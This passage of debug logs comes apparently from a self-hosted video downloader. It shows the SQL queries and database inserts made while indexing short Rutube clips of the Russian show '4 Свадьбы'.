"https://rutube.ru/video/737617aa91853fc5bf89c06b3c725a3a/", 11, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - Конкурс с ящиком.mp4", false, false, false, 1, [], 2, ~U[2019-07-03 14:41:26Z], ~U[2025-12-09 11:35:31Z], ~U[2025-12-09 11:35:31Z], "", "Конкурс с ящиком", "737617aa91853fc5bf89c06b3c725a3a", 15, false, "https://rutube.ru/video/737617aa91853fc5bf89c06b3c725a3a/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e070300 - Конкурс с ящиком.mp4", false, 1, ~U[2019-07-03 14:41:26Z]] 14:35:31.263 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=150.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.264 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=148.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:31.266 [debug] QUERY OK source="media_items" db=1.1ms idle=146.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14] 14:35:31.266 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 20, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Ах, эта свадьба....mp4", "id" => "78f692e622bfbaba36c133eaa872350c", "original_url" => "https://rutube.ru/video/78f692e622bfbaba36c133eaa872350c/", "playlist_index" => 12, "timestamp" => 1539784667, "title" => "Ах, эта свадьба...", "upload_date" => "20181017"} 14:35:31.267 [debug] QUERY OK source="sources" db=0.6ms idle=143.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:31.268 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.270 [debug] QUERY OK source="media_items" db=0.9ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-17 13:57:47Z], 1] 14:35:31.376 [debug] QUERY OK source="media_items" db=106.3ms idle=5.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Ах, эта свадьба...", "67eb252d-7f46-48c9-9aeb-ac912668068e", "78f692e622bfbaba36c133eaa872350c", 20, false, "https://rutube.ru/video/78f692e622bfbaba36c133eaa872350c/", 12, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Ах, эта свадьба....mp4", false, false, false, 1, [], 3, ~U[2018-10-17 13:57:47Z], ~U[2025-12-09 11:35:31Z], ~U[2025-12-09 11:35:31Z], "", "Ах, эта свадьба...", "78f692e622bfbaba36c133eaa872350c", 20, false, "https://rutube.ru/video/78f692e622bfbaba36c133eaa872350c/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - Ах, эта свадьба....mp4", false, 1, ~U[2018-10-17 13:57:47Z]] 14:35:31.386 [debug] QUERY OK source="sources" db=9.4ms idle=111.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.387 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=119.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:31.388 [debug] QUERY OK source="media_items" db=0.5ms idle=119.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 14:35:31.389 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080800 - Роскошная VS деревенская.mp4", "id" => "7921e92bf839ad16e2cce38637e30a1c", "original_url" => "https://rutube.ru/video/7921e92bf839ad16e2cce38637e30a1c/", "playlist_index" => 13, "timestamp" => 1565292483, "title" => "Роскошная VS деревенская", "upload_date" => "20190808"} 14:35:31.390 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=119.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:31.390 [debug] QUERY OK source="sources" db=0.2ms idle=13.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.391 [debug] QUERY OK source="media_items" db=0.4ms idle=4.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-08 19:28:03Z], 1] 14:35:31.475 [debug] QUERY OK source="media_items" db=83.7ms idle=3.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Роскошная VS деревенская", "57015f22-725d-46de-8e18-01654c456ec7", "7921e92bf839ad16e2cce38637e30a1c", 25, false, "https://rutube.ru/video/7921e92bf839ad16e2cce38637e30a1c/", 13, "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080800 - Роскошная VS деревенская.mp4", false, false, false, 1, [], 1, ~U[2019-08-08 19:28:03Z], ~U[2025-12-09 11:35:31Z], ~U[2025-12-09 11:35:31Z], "", "Роскошная VS деревенская", "7921e92bf839ad16e2cce38637e30a1c", 25, false, "https://rutube.ru/video/7921e92bf839ad16e2cce38637e30a1c/", "/downloads/rutubeShows/4 Свадьбы/Season 2019/s2019e080800 - Роскошная VS деревенская.mp4", false, 1, ~U[2019-08-08 19:28:03Z]] 14:35:31.487 [debug] QUERY OK source="sources" db=10.7ms queue=0.1ms idle=87.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:31.488 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=97.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:31.489 [debug] QUERY OK source="media_items" db=0.5ms idle=97.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [19] 14:35:31.489 [debug] Current batch of media processed. Will check again in 1000ms 14:35:32.490 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Песня.mp4", "id" => "8e2e85050e350e5335a61be805b39c97", "original_url" => "https://rutube.ru/video/8e2e85050e350e5335a61be805b39c97/", "playlist_index" => 14, "timestamp" => 1539694258, "title" => "Песня", "upload_date" => "20181016"} 14:35:32.491 [debug] QUERY OK source="sources" db=0.5ms idle=1015.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:32.492 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.493 [debug] QUERY OK source="media_items" db=0.4ms idle=1004.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-16 12:50:58Z], 1] 14:35:32.605 [debug] QUERY OK source="media_items" db=107.2ms queue=0.1ms idle=1008.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Песня", "75e8812e-30ec-42f7-b090-5ea637836bed", "8e2e85050e350e5335a61be805b39c97", 25, false, "https://rutube.ru/video/8e2e85050e350e5335a61be805b39c97/", 14, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Песня.mp4", false, false, false, 1, [], 3, ~U[2018-10-16 12:50:58Z], ~U[2025-12-09 11:35:32Z], ~U[2025-12-09 11:35:32Z], "", "Песня", "8e2e85050e350e5335a61be805b39c97", 25, false, "https://rutube.ru/video/8e2e85050e350e5335a61be805b39c97/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101600 - Песня.mp4", false, 1, ~U[2018-10-16 12:50:58Z]] 14:35:32.621 [debug] QUERY OK source="sources" db=15.5ms queue=0.1ms idle=494.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.623 [debug] QUERY OK source="media_profiles" db=1.8ms idle=130.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:32.626 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=132.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 14:35:32.627 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 25, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110800 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", "id" => "9576be228080abb268616740e6857e69", "original_url" => "https://rutube.ru/video/9576be228080abb268616740e6857e69/", "playlist_index" => 15, "timestamp" => 1541684698, "title" => "Четыре свадьбы. Премьера. Вторник 19:00", "upload_date" => "20181108"} 14:35:32.627 [debug] QUERY OK source="sources" db=0.5ms idle=134.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:32.628 [debug] QUERY OK source="sources" db=0.5ms idle=23.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.629 [debug] QUERY OK source="media_items" db=0.4ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-11-08 13:44:58Z], 1] 14:35:32.751 [debug] QUERY OK source="media_items" db=121.4ms idle=6.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы. Премьера. Вторник 19:00", "f11870c9-253c-41a3-8c1a-8df13ca7d30b", "9576be228080abb268616740e6857e69", 25, false, "https://rutube.ru/video/9576be228080abb268616740e6857e69/", 15, "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110800 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, false, false, 1, [], 1, ~U[2018-11-08 13:44:58Z], ~U[2025-12-09 11:35:32Z], ~U[2025-12-09 11:35:32Z], "", "Четыре свадьбы. Премьера. Вторник 19:00", "9576be228080abb268616740e6857e69", 25, false, "https://rutube.ru/video/9576be228080abb268616740e6857e69/", "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e110800 - Четыре свадьбы. Премьера. Вторник 19_00.mp4", false, 1, ~U[2018-11-08 13:44:58Z]] 14:35:32.761 [debug] QUERY OK source="sources" db=9.2ms queue=0.1ms idle=125.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.762 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=133.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:35:32.763 [debug] QUERY OK source="media_items" db=0.5ms idle=133.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 14:35:32.763 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 35, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2018/s2018e101700 - На девочку.mp4", "id" => "991def9b4d1aa26a2f29f5a600fc2fbe", "original_url" => "https://rutube.ru/video/991def9b4d1aa26a2f29f5a600fc2fbe/", "playlist_index" => 16, "timestamp" => 1539784088, "title" => "На девочку", "upload_date" => "20181017"} 14:35:32.765 [debug] QUERY OK source="sources" db=1.0ms idle=134.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:35:32.766 [debug] QUERY OK source="sources" db=0.6ms idle=13.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:35:32.767 [debug] QUERY OK source="media_items" db=0.5ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 